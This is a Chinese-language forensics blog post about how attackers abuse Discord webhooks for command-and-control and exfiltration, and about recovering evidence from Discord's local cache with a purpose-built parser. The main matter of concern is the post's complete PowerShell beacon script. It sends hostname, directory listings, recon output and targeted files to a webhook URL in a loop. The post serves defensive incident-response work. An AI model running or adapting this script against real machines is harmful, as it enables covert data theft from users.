Discord 为何吸引攻击者
Discord 之所以成为攻击者青睐的工具,并不是因为它本身恶意,而是因为它是合法且被信任的。它常常逃过安全控制的监测,并提供一些功能,使得在无需用户交互或提升权限的情况下轻松将数据发送出去。我们也在其他协作工具上看到过类似的滥用,例如 Microsoft Teams 和 Slack。在这篇博客中,我们不关注内存取证、网络遥测或主机端日志,而是聚焦于在使用 Discord webhook 进行 C2 和数据外泄时留存在本地缓存中的痕迹。我们没有启动完整的机器人,而是尽量保持简单,仅使用 webhook 将被攻陷主机上的数据推送到 Discord 频道。这与典型的脚本小子行为相符------不用 API 密钥、不需提升权限,只要一个 URL 和一些 PowerShell。
Discord webhook C2
Webhook 本质上就是一个被包装的 URL,允许你将消息和文件直接发送到 Discord 频道,发送到该 URL 的任何内容都会出现在关联的频道中。对于攻击者来说,这很方便,因为它易于设置、不需要任何特殊权限,并且表面上难以察觉。在本例中,我们将该 webhook 配置为攻击者的 C2 服务器,受害者机器上被窃取的信息会发送到该处。

下面是我们的示例 C2 服务器,频道 ptp-beacon
是所有 PowerShell 命令输出将出现的地方。

PowerShell 实战
下面是处理脚本初始化、向主控回传(beaconing)、文件枚举、侦察和数据外泄的 PowerShell 命令。每条命令都通过 PowerShell 发送到我们之前设置的 webhook,随后将结果直接传递到 Discord 服务器:
脚本初始化
# 1. Discord webhook
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
# 2. Path to exfiltration target file
$filePath = "$env:USERPROFILE\Documents\SENSITIVE_FILES_HERE"
# 3. Create HTTP client and counter
$client = New-Object System.Net.Http.HttpClient
$counter = 0
Beacon 循环
while ($true) {
$counter++
# ─── 1. Beacon ─────────────────────────────────────────────
$json = '{"content":"━━━━━━━━━━━━━━━━━━\n:satellite: **Beacon Active**\n```User: ' + $env:USERNAME + '\nHost: ' + $env:COMPUTERNAME + '```"}'
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$content = New-Object System.Net.Http.MultipartFormDataContent
$content.Add($jsonContent, "payload_json")
$response = $client.PostAsync($webhook, $content).Result
Write-Host "Sent beacon at $(Get-Date): $($response.StatusCode)"
文件夹列表
# ─── 2. Folder Listing (every 2nd beacon) ──────────────────
if ($counter % 2 -eq 0) {
$userDirs = @("Documents", "Desktop", "Downloads", "Pictures")
$folderListing = ""
foreach ($dir in $userDirs) {
$fullPath = Join-Path $env:USERPROFILE $dir
$files = Get-ChildItem -Path $fullPath -ErrorAction SilentlyContinue | Select-Object -First 2
if ($files) {
$folderListing += "`n$dir:`n"
$folderListing += ($files | ForEach-Object { " - " + $_.Name }) -join "`n"
}
}
$escaped = $folderListing -replace '"', "'" -replace "`r?`n", "\n"
$jsonFolders = '{"content":":file_folder: **User Directories**\n━━━━━━━━━━━━━━━━━━\n```' + $escaped + '```"}'
$jsonContentFolders = New-Object System.Net.Http.StringContent($jsonFolders, [System.Text.Encoding]::UTF8, "application/json")
$contentFolders = New-Object System.Net.Http.MultipartFormDataContent
$contentFolders.Add($jsonContentFolders, "payload_json")
$respFolders = $client.PostAsync($webhook, $contentFolders).Result
Write-Host "Uploaded folder listing at $(Get-Date): $($respFolders.StatusCode)"
}
目标文件外泄
# ─── 3. Exfil ptp-exfil.jpg (every 3rd beacon) ─────────────
if ($counter % 3 -eq 0 -and (Test-Path $filePath)) {
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
$fileContent = New-Object System.Net.Http.ByteArrayContent (, $fileBytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$jsonExfil = '{"content":":package: **Targeted Exfil ::topsecret**\n━━━━━━━━━━━━━━━━━━"}'
$jsonContentExfil = New-Object System.Net.Http.StringContent($jsonExfil, [System.Text.Encoding]::UTF8, "application/json")
$contentExfil = New-Object System.Net.Http.MultipartFormDataContent
$contentExfil.Add($jsonContentExfil, "payload_json")
$contentExfil.Add($fileContent, "file", "ptp-exfil.jpg")
$respExfil = $client.PostAsync($webhook, $contentExfil).Result
Write-Host "Uploaded ptp-exfil.jpg at $(Get-Date): $($respExfil.StatusCode)"
}
系统运行时间
# ─── 4. System Uptime (every 4th beacon) ───────────────────
if ($counter % 4 -eq 0) {
$uptime = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
$jsonUptime = '{"content":":stopwatch: **System Uptime**\n━━━━━━━━━━━━━━━━━━\n```' + $uptime + '```"}'
$jsonContentUptime = New-Object System.Net.Http.StringContent($jsonUptime, [System.Text.Encoding]::UTF8, "application/json")
$contentUptime = New-Object System.Net.Http.MultipartFormDataContent
$contentUptime.Add($jsonContentUptime, "payload_json")
$respUptime = $client.PostAsync($webhook, $contentUptime).Result
Write-Host "Uploaded uptime at $(Get-Date): $($respUptime.StatusCode)"
}
信息转储
# ─── 5. Recon Dump (every 5th beacon) ──────────────────────
if ($counter % 5 -eq 0) {
$whoami = whoami
$ipconfig = ipconfig | Out-String
$reconFile = "$env:TEMP\recon.txt"
"whoami:: $whoami`r`nIPConfig::`r`n$ipconfig" | Out-File -FilePath $reconFile -Encoding utf8
$fileBytes = [System.IO.File]::ReadAllBytes($reconFile)
$fileContent = New-Object System.Net.Http.ByteArrayContent (, $fileBytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("text/plain")
$jsonRecon = '{"content":":mag: **Recon Data Attached (whoami + ipconfig)**\n━━━━━━━━━━━━━━━━━━"}'
$jsonContentRecon = New-Object System.Net.Http.StringContent($jsonRecon, [System.Text.Encoding]::UTF8, "application/json")
$contentRecon = New-Object System.Net.Http.MultipartFormDataContent
$contentRecon.Add($jsonContentRecon, "payload_json")
$contentRecon.Add($fileContent, "file", "recon.txt")
$respRecon = $client.PostAsync($webhook, $contentRecon).Result
Write-Host "Uploaded recon file at $(Get-Date): $($respRecon.StatusCode)"
}
进一步外泄
# ─── 6. Targeted File: confidential.jpg (every 6th beacon) ─
if ($counter % 6 -eq 0) {
$targetFile = Get-ChildItem -Path $env:USERPROFILE -Recurse -Include confidential.jpg -ErrorAction SilentlyContinue | Select-Object -First 1
if ($targetFile) {
$fileBytes = [System.IO.File]::ReadAllBytes($targetFile.FullName)
$fileContent = New-Object System.Net.Http.ByteArrayContent (, $fileBytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$jsonTarget = '{"content":":lock: **Targeted Exfil ::confidential.jpg**\n━━━━━━━━━━━━━━━━━━"}'
$jsonContentTarget = New-Object System.Net.Http.StringContent($jsonTarget, [System.Text.Encoding]::UTF8, "application/json")
$contentTarget = New-Object System.Net.Http.MultipartFormDataContent
$contentTarget.Add($jsonContentTarget, "payload_json")
$contentTarget.Add($fileContent, "file", "confidential.jpg")
$respTarget = $client.PostAsync($webhook, $contentTarget).Result
Write-Host "Uploaded confidential.jpg at $(Get-Date): $($respTarget.StatusCode)"
} else {
Write-Host "confidential.jpg not found"
}
}
休眠间隔
# ─── Sleep (tweakable beacon interval) ─────────────────────
Start-Sleep -Seconds 20
}
现在我们已经展示了滥用 Discord webhook 是多么简单,让我们看看调查人员可以找到哪些遗留的证据。
追踪攻击者活动
下面的片段显示了 PowerShell 在向 webhook 推送数据时的活动日志。这些日志的每一行都确认了发送的内容及时间,因此我们可以看到持续的 beaconing,以便攻击者知道主机处于活动状态。接着上传一些数据、列出目录、记录系统运行时间并生成侦察文件,然后外泄诸如 topsecret.txt
和 confidential.jpg
等敏感文件。

NoContent 和 OK 响应仅表示 webhook 确认 Discord 已成功接收数据。有了活动日志来确认流量,我们现在可以查看这些输出在 Discord 内部实际上是如何呈现的。
在 Discord 中查看结果
说完这些,让我们看看被外泄到 Discord 的 #ptp-beacon
文本频道中的内容:



看起来确实是一些相当机密的东西!到目前为止,我们已成功获取了一些用户信息、检查了他们的用户目录并窃取了若干敏感文件。但现在,作为攻击者,我们需要掩盖自己的痕迹。
痕迹清除
在我们将数据外泄到 C2 服务器并拿到所需信息后,清除痕迹。我已经删除了 Discord 服务器

Discord 缓存会留下什么
删除服务器并不会抹去一切。受害者机器上的 Discord 缓存会讲述一段完全不同的故事......
Discord 使用 Chromium 的 Simple Cache 格式在本地存储缓存。简单来说,这意味着附件、表情、webhook,甚至一些缩略图的副本会存放在磁盘上的以下路径下:
%AppData%\discord\Cache\Cache_Data
在该目录下,你会发现:
-
index -- Simple Cache 索引数据库
-
data_# -- 二进制缓存文件,每个文件包含多个缓存对象
-
f_###### -- 提取出的二进制对象(图片、附件等)
关键点是持久性:缓存内容通常在 Discord 消息或文件被删除很久之后仍然存在。它们的修改时间戳会与用户活动相对应,因此调查人员可以重建操作发生的准确时间。
缓存结构还可以将文件哈希(SHA256)与威胁情报源进行匹配,以确认是否使用了已知的恶意文件。除了缓存之外,还可以从内存中恢复 webhook URL 和 API 调用。

使用命令行解析器和基于 GUI 的工具自动化缓存分析
虽然存在一些用于解析 Chromium 缓存的开源工具,但我们找不到任何对 Discord 特定工件进行主动维护或定制的工具。为了解决这一问题,我们构建了一个 Discord 取证工具套件:用于取证分析的命令行解析器和基于 GUI 的套件。
这两款工具会递归扫描缓存文件夹并提取与 Discord 相关的工件,例如 webhook URL、附件和缓存图片。
Discord 取证工具:命令行输出
下面展示的是 CLI 的一段摘录,我在其中选择了缓存目录、为报告提供了标题,并选择了报告的输出位置与格式。接着我可以决定报告应包含哪些内容;你想要 CSV 时间线吗?想要包含与 Discord 关联的其他缓存区域吗?是否要启用 carve(以便可能恢复"先前存在"的文件)?是否需要详细输出?

一旦选择了这些选项,我们就可以看到已扫描的文件数量、扫描来源、报告存放位置以及从缓存中提取的工件分类。

Discord 取证工具:GUI 输出
GUI 版本提供了一个简洁、用户友好的界面,内置对缓存图像(包括表情、被外泄的截图和文档)的缩略图预览。该工具允许用户选择 Discord 缓存文件夹,然后在解析数据之前选择所需选项。

报告与恢复的证据
下面是该工具在我们的 PTP C2 Discord 服务器案例中发现并回报的摘要。我们可以看到表情、API 调用、附件、徽标和其他信息,这些都使分析人员能够在不同类型的文件之间进行过滤。

从受害者的角度,他们可能会想知道下面这些图像的来源,但我们确切知道它们来自哪里------那就是威胁行为者的 C2 服务器!

我们要求工具生成一个 CSV 时间线以及 HTML 报告,下面显示的是我们的 CSV 输出片段,我提供了一个片段,展示了一些图像、一个视频以及威胁行为者获取的侦察文本文件,这些全部存储在 Discord 的缓存中,并已按时间顺序被解析出来。

我们还要求工具生成完整的 CSV 报告,连同 HTML 报告和 CSV 时间线一起,下面是一张这些结果的截图,显示了一些被 carve 出来的文件:

回到可点击的 HTML 报告。下面显示被外泄的"confidential"文件,展示了修改日期、文件类型与来源、文件预览、相关哈希值以及文件被恢复的位置。


这些文件会被自动提取并存储在一个 media 文件夹中。

因此,即使威胁行为者已经从主机上外泄了数据并试图掩盖他们的痕迹,通过解析缓存文件夹,分析人员仍然可以恢复大量取证证据,包括被外泄的文件、侦察输出、webhook URL 和 API 调用,所有这些都有助于重建攻击者的活动。
结论
Discord 的合法性和易用性使其成为威胁行为者进行数据外泄或建立轻量级 C2 通道而不引起警觉的有吸引力的选择。因此,作为防御方,我们应当意识到这种便利性也可能被滥用:Discord 的缓存会保留详细的取证记录------图像、附件和 webhook 交互,通常在平台内容被删除很久之后仍然存在。
Discord 会留下遥测数据,可供 DFIR 团队重建攻击者时间线、验证外泄内容并加强归因。
这就是为什么我们开发了 DFS(不是那家沙发公司),而是 Discord Forensic Suite。
分析人员可以快速对主机进行初筛,生成包含哈希和时间戳的 HTML 报告,并将发现打包成证据包以供审查。
工具
https://github.com/jwdfir/discord_cache_parser
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关
网络安全学习路线/web安全入门/渗透测试实战/红队笔记/黑客入门
感谢各位看官看到这里,欢迎一键三连(点赞+关注+收藏)以及评论区留言,也欢迎查看我主页的个人简介进行咨询哦,我将持续分享精彩内容~